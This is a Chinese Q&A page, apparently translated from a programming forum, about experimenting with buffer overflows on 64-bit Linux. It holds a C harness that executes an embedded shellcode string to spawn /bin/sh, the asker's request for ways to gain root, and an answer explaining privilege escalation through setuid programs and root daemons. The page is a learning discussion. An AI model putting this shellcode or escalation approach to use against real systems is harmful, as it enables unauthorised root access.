64位Linux上的缓冲区溢出

时间:2013-10-18 09:25:35

标签: linux shell 64-bit overflow buffer

我一直在玩缓冲区溢出以获得乐趣。我已经能够运行一些简单的漏洞利用。我一直在使用“C”代码来执行此操作,该代码将包含shell代码的字符串转换为函数指针。这样做对我来说非常有趣,例如我从未假设函数指针可以允许用户执行代码,这甚至在源代码中都没有硬编码。有关简单示例,请参阅以下内容:

#include <unistd.h>



char code[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"
              "\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"
              "\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"
              "\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"
              "\x73\x68\x4e\x41\x41\x41\x41\x42\x42\x42\x42";

int main(int argc, char **argv)
{

        /*creating a function pointer*/

        char (*func)();

        func = (char (*)()) code;
        func();



}

这段小代码将在64位Linux上生成一个shell。问题是:是否可以使用shell脚本获取root权限。尝试这将是非常有趣的。 我在互联网上发现了一些声称能够做到这一点的shell脚本,但是,他们只生成了seg。我尝试运行它们时出现故障。 如果有人可以给我任何提示,我将不胜感激,这是否可能。 我也很感激任何有趣的shell脚本。

干杯。

1 个答案:

答案 0 :(得分:0)

只有一个常规的缓冲区溢出,shell代码无法执行原始程序无法执行的任何操作,您需要实际的内核漏洞利用。

当您拥有以root身份运行的程序时,通常会获得root shell,因为它们具有+s flag(设置uid),或者因为它们是从系统外部某处获取userinput的守护进程。

Setuid程序是以与启动它们不同的用户身份运行的程序。以su为例,它由root拥有并设置了+ s,因此无论是谁启动它都以root身份运行。然后,程序会尝试确认您是否可以升级权限并为您请求的用户生成shell。如果su中存在缓冲区溢出漏洞并且您要在其中放置常规/bin/sh有效负载,则最终会得到根shell。

守护进程可以是一个以root身份运行的web接口,以便执行某些操作(也许它可以关闭pc)。如果它有一个可以从计算机外部访问的漏洞,比如HTTP标头中的缓冲区溢出,您将再次能够生成根shell。

您看到的shell可能使用了setuid() C函数(或类似的函数),如果进程具有足够的特权,它可以与+ s 完全相同。